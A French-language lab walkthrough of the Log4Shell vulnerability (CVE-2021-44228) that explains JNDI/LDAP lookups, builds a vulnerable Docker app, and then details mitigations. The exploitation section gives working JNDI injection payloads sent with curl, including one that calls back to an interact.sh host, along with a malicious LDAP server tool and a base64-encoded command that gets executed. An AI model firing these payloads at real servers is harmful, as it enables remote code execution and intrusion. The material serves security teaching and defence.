LOG4SHELL: VENI,VIDI,VICI
Last updated
Last updated
La vulnérabilité LOG4J, aussi appelé LOG4SHELL, est critique et elle affecte Apache Log4j versions 2.0 à 2.14.1. Elle a été identifiée par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud.
Le NIST a publié un CVE critique dans la "National Vulnerability Database" le 10 décembre 2021, sous le nom de CVE-2021-44228.
Apache Software Foundation a attribué la note de gravité CVSS maximale de 10.
Le "National Institute of Standards and Technology" (NIST) est une agence gouvernementale non réglementaire qui développe des technologies, des mesures et des normes pour stimuler l'innovation et la compétitivité économique des organisations basées aux États-Unis dans le secteur des sciences et des technologies. Dans le cadre de cet effort, le NIST produit des normes et des directives pour aider les agences fédérales à répondre aux exigences de la loi fédérale sur la gestion de la sécurité des informations (FISMA). Le NIST aide également ces agences à protéger leurs informations et leurs systèmes d'information par le biais de programmes rentables.
SOURCE: NIST.GOV
Le CVE-2021-44228 provient d'un endroit improbable: MINECRAFT. Minecraft est un jeu très populaire développé par les studios Mojang où les gens peuvent interagir librement avec un environnement 3D entièrement modifiable.
La fonction de chat du jeu est à l'origine de l'exploit. L'application de communication, exécutant une api java avec la version spécifique de log4j, a permis à des acteurs malveillants de bloquer des machines, d'expulser tous les joueurs, etc.
Dans les bonnes circonstances, il est également possible d'exécuter du code à distance via cet exploit, c'est pourquoi il est si dangereux et a été marqué "zero-day" ou "0-day".
« Zero-day » est un terme générique qui décrit les dernières vulnérabilités de sécurité détectées que les cybercriminels peuvent utiliser pour attaquer les systèmes. Le terme « zero-day » désigne le fait que le fournisseur ou le développeur vient de prendre connaissance de la faille, ce qui signifie qu’il a « zéro jour » pour la corriger. Une attaque zero-day survient lorsque les cybercriminels exploitent la faille avant que les développeurs n’aient la possibilité de la rectifier.
Définition: KASPERSKY
La raison de ce problème est la mauvaise utilisation de l'interpolation de variables et de la bonne vieille api JNDI, qui existe en Java depuis des lustres.
En général, les développeurs de logiciels utilisent un mécanisme de journalisation pour faire état des différents flux au sein du logiciel. Au cours de ce processus, un message de journal est transmis sous forme de chaîne de caractères à enregistrer dans un fichier de journal.
La bibliothèque Log4j possède une fonctionnalité supplémentaire qui permet aux messages de journal de contenir des variables qui sont traduites à la volée avant d'être écrites dans un fichier de journal. Dans le cas de CVE-2021-44228, log4j traduit un argument spécifique reçu sous la forme d'une chaîne formatée et le force à charger un code Java provenant d'une autre classe Java stockée sur le serveur ou d'un serveur distant.
Log4j2 supporte par défaut une fonctionnalité de journalisation appelée "Message Lookup Substitution". Cette fonctionnalité permet à certaines chaînes spéciales d'être remplacées, au moment de la journalisation, par d'autres chaînes générées dynamiquement. Par exemple, l'enregistrement de la chaîne Running ${java:runtime}
produira un résultat similaire à celui qui suit :
Running Java version 1.7.0_67
Il a été découvert que l'une des méthodes de recherche, en particulier la recherche JNDI associée au protocole LDAP, récupère une classe Java spécifique à partir d'une source distante et la désérialise, en exécutant une partie du code de la classe au cours du processus.
Avant d'appendre comment exploiter la vulnérabilité, il faut expliquer et comprendre deux mots clés: LDAP et JNDI.
Le protocole LDAP (Lightweight Directory Access Protocol) est un protocole qui permet aux applications d'interroger rapidement les informations relatives aux utilisateurs.
Les entreprises stockent les noms d'utilisateur, les mots de passe, les adresses électroniques, les connexions d'imprimante et d'autres données statiques dans des répertoires.
LDAP est un protocole d'application ouvert, neutre vis-à-vis des fournisseurs, qui permet d'accéder à ces données et de les conserver. LDAP peut également prendre en charge l'authentification, de sorte que les utilisateurs peuvent se connecter une seule fois et accéder à de nombreux fichiers différents sur le serveur.
Dans une entreprise, l'employé moyen se connecte et interroge le serveur LDAP des centaines de fois par jour. À première vue, cette personne ne sait peut-être même pas qu'elle contacte le serveur LDAP, mais une série d'étapes complexes sont suivies pour effectuer une simple requête.
Pour qu'un LDAP réussisse une requête, les étapes suivantes sont généralement suivies :
Connexion à la session : L'utilisateur se connecte au serveur LDAP via un port LDAP (généralement le port TCP/389).
Requête : L'utilisateur envoie la requête au serveur LDAP. Il peut s'agir par exemple d'une recherche de courrier électronique.
Réponse : Le protocole LDAP recherche dans l'annuaire les informations pertinentes et les fournit à l'utilisateur.
Achèvement : Après avoir reçu la réponse, l'utilisateur se déconnecte du port LDAP.
Les étapes de la requête LDAP peuvent sembler simples, mais en fait, beaucoup de travail a été fait pour rendre ce processus transparent, et une bonne quantité de codes a été effectuée pour rendre ces fonctions possibles.
JNDI signifie Java Naming and Directory Interface et est une API JAVA.
Cette API permet :
d’accéder à différents services de nommage ou de répertoire de façon uniforme ;
d'organiser et rechercher des informations ou des objets par nommage (java naming and directory interface) ;
de faire des opérations sur des annuaires (java naming and directory interface) tels que :
LDAP: un annuaire léger
DNS: Domain Name System ou DNS est un service informatique distribué utilisé qui traduit les noms de domaine Internet en adresse IP ou autres enregistrements
Quelques points concernant l'architecture JNDI :
Dans ce tableau, vous pouvez voir les niveaux de l'architecture.
Tous les niveaux de l'architecture sont connectés à l'application java.
L'API fournit un mécanisme pour lier un objet à un nom et pour accéder aux services de nommage et d'annuaire.
Le SPI permet de brancher les services de nommage et d'annuaire de manière transparente.
Le dernier niveau montre les répertoires qui sont connectés à l'interface.
Pour l'environnement de test, ce que j'utilise personnellement:
Logicielle de Virtualisation: VirtualBox ou VMware
Machine Virtuelle: Kali Linux
Pour mettre en place un serveur exécutant une version vulnérable de la bibliothèque Log4j, nous allons construire une image Docker pour cette application Spring Boot créée par christophetd qui est vulnérable à l'exploitation Log4Shell.
Tout d'abord il faut installer Docker sur la machine Kali Linux.
Maintenant il faut construire une image qui comprendra toutes les dépendances et le code source de l'application Java vulnérable.
Copier le répertoire GITHUB de christophetd dans le dossier /tmp
git clone https://github.com/christophetd/log4shell-vulnerable-app.git /tmp/log4shell-vulnerable-app
Rentrer dans le dossier
cd /tmp/log4shell-vulnerable-app
Construire l'image
sudo docker build -t log4shell-app .
sudo docker run -it --network=host --name log4shell-app log4shell-app
Maintenant, il y a une instance de l'application vulnérable disponible sur localhost:8080. Il est possible de le vérifier avec la commande suivante:
sudo lsof -i -P -n | grep LISTEN
Maintenant l'application vulnérable est en place dans l'environnement de test, la prochaine étape est la détection de la vulnérabilité de type RCE via une requête vers un domaine contrôlé par l'attaquant.
Les attaques par exécution de code à distance (en anglais: Remote Code Execution) permettent à un attaquant d'exécuter à distance un code malveillant sur un ordinateur. L'impact d'une vulnérabilité RCE peut aller de l'exécution d'un logiciel malveillant à la prise de contrôle totale d'une machine compromise par un attaquant.
Définition: CHECKPOINT
Avec l'application exécutée sur localhost:8080, nous pouvons détecter que l'application est vulnérable à Log4Shell en soumettant une interface Java Naming and Directory (JNDI) comme valeur pour l'en-tête X-Api-Version qui déclenche une requête vers le domaine contrôlé par l'attaquant.
Visitez interactsh et copiez le nom d'hôte généré :
Pour la détection de l'interaction externe, il faut effectuer la requête cURL suivante sans oubliez de remplacer le nom d'hôte interactsh par celui généré pour votre instance:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://c8kz9wf2vtc0000g4ktggrj9w6ryyyyyb.interact.sh/a}'
cURL est utilisé dans les lignes de commande ou les scripts pour transférer des données. curl est également utilisé dans les voitures, les téléviseurs, les routeurs, les imprimantes, les équipements audio, les téléphones mobiles, les tablettes, les décodeurs, les lecteurs multimédias et constitue le moteur de transfert Internet de milliers d'applications logicielles dans plus de dix milliards d'installations.
Définition: cURL.se
Après avoir envoyé la requête, la recherche de domaine apparaît sur interactsh :
Dans les journaux de l'application la tentative de requête API est aussi apparu:
Pour exécuter les commandes, il faut faire tourner un serveur LDAP avec les capacités d'exploiter les attaques par injection JNDI. Suivre les étapes pour télécharger le serveur LDAP malveillant:
Télécharger le zip JNDIExploit via le lien du github de christophetd
-> Ou via le github suivant de black9 via la commande suivante:
Dézipper/Décompresser le fichier:
unzip JNDIExploit.v1.2.zip
Une fois l'archive ZIP décompressée, le menu d'aide du programme peut être consulté via la commande suivante:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Pour démarrer le serveur LDAP malveillant sur localhost:1389, il faut exécuter la commande:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
Pour obtenir le reverse shell, une commande echo en base64 va être codée pour écrire des données dans un fichier du dossier /tmp:
echo -n 'echo "PWNED par BE HACKTIVE" > /tmp/log4shell.txt' | base64 -w 0
Pour finir, exécuter la demande via la commande cURL à l'application vulnérable:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAiQkUgSEFDS1RJVkUiID4gL3RtcC9sb2c0c2hlbGwudHh0}'
Afin de vérifier que la commande a été exécutée:
sudo docker exec -it log4shell-app sh
ls -l /tmp
Le dernier chapitre abordera certains points importants à suivre pour se protéger un maximum des vulnérabilités liées à Log4j.
Les deux premières questions qu'une organisation devraient se poser sont:
Est-ce Log4j existe au sein de mes applications?
Où est implémenté Log4j?
Plus précisément, elle doit se concentrer sur les applications externes susceptibles d'utiliser Log4j. Il s'agit d'une tâche non triviale étant donné qu'il s'agit d'une bibliothèque, plutôt que d'une application installée, et qu'elle peut être intégrée avec des fournisseurs et des outils tiers.
Pour les organisations qui disposent d'inventaires de ressources solides, ceux-ci devraient être utilisés pour identifier où Java, la JVM (Java Virtual Machine) et les bibliothèques Log4j existent dans leur inventaire.
Il existe actuellement plusieurs ressources qui documentent les applications et les fournisseurs vulnérables connus. C'est un excellent point de départ. Prendre le temps d'examiner ces listes et de déterminer si le logiciel est présent dans le domaine de l'organisation. Si c'est le cas, s'assurer que les derniers correctifs soient appliqués.
Une autre méthode d'identification consisterait à effectuer des scans de vulnérabilité internes/externes, dont beaucoup fournissent désormais des signatures ou des plugins pour identifier les instances Log4j vulnérables.
La mesure de protection la plus complète consiste à mettre à jour et à appliquer des correctifs aux bibliothèques Log4j vulnérables découvertes, mais il est évident que cela n'est pas possible dans tous les cas.
À l'heure où nous écrivons ces lignes, la version 2.16.0 est la plus récente, et de plus amples informations concernant les corrections des dernières vulnérabilités de Log4j sont disponibles à l'adresse suivante :
Le 14 décembre 2021, une deuxième CVE (CVE-2021-45046) a été découverte dans la bibliothèque Log4j, rendant la version 2.15.0 inefficace dans certaines configurations par défaut. Pour résoudre les deux CVE-2021-44228 et CVE-2021-45046, il est recommandé de mettre à jour la version de Log4j à 2.16.0 au moins.
CVE-2021-44228 (score CVSS : 10.0): Une vulnérabilité RCE affectant les versions de Log4j de 2.0-beta9 à 2.14.1 (Corrigé dans la version 2.15.0)
CVE-2021-45046 (score CVSS : 9.0) - Une fuite d'information et une vulnérabilité RCE affectant les versions de Log4j de 2.0-beta9 à 2.15.0, à l'exception de 2.12.2 (Corrigé dans la version 2.16.0)
CVE-2021-45105 (score CVSS : 7.5) - Une vulnérabilité de type déni de service affectant les versions de Log4j allant de 2.0-beta9 à 2.16.0 (Corrigé dans la version 2.17.0)
Il est suggéré de suivre les conseils d'Apache et de mettre à niveau vers la version 2.17.0 de log4j.
Il est néanmoins pas toujours possible de faire les mises à jours, il existe d'autres possibilités pour remédier aux failles liés à Log4j.
Cette vulnérabilité est due à la façon dont Log4j utilise JNDI.
Une façon de corriger cette vulnérabilité est de désactiver l'utilisation des recherches de messages JNDI, ce que fait Log4j 2.16.0. Cependant, cela peut également être réalisé en retirant la classe JndiLookup entière, qui implémente cette fonctionnalité, d'un paquet Log4j affecté.
Les composants Java étant essentiellement des archives ZIP, les administrateurs peuvent exécuter la commande suivante pour modifier et corriger une instance de paquet vulnérable:
zip -q -d Log4j-core-*.jar org/apache/logging/Log4j/core/lookup/JndiLookup.class
Cette attaque nécessite que l'hôte affecté établisse une connexion sortante initiale avec le serveur LDAP malveillant de l'adversaire pour charger la classe Java vulnérable. Le blocage des ports standard pour LDAP, LDAPS et RMI (389, 636, 1099, 1389), bien que non exhaustif car le port peut être aléatoire, peut réduire la surface d'attaque.
IPS et WAF, bien que non exhaustifs en raison des différentes techniques d'évasion possibles dans cette attaque, doivent être mis en œuvre pour aider à la détection et à la réponse.
Il est temps d'attaquer l'application !
Nous avons réussi !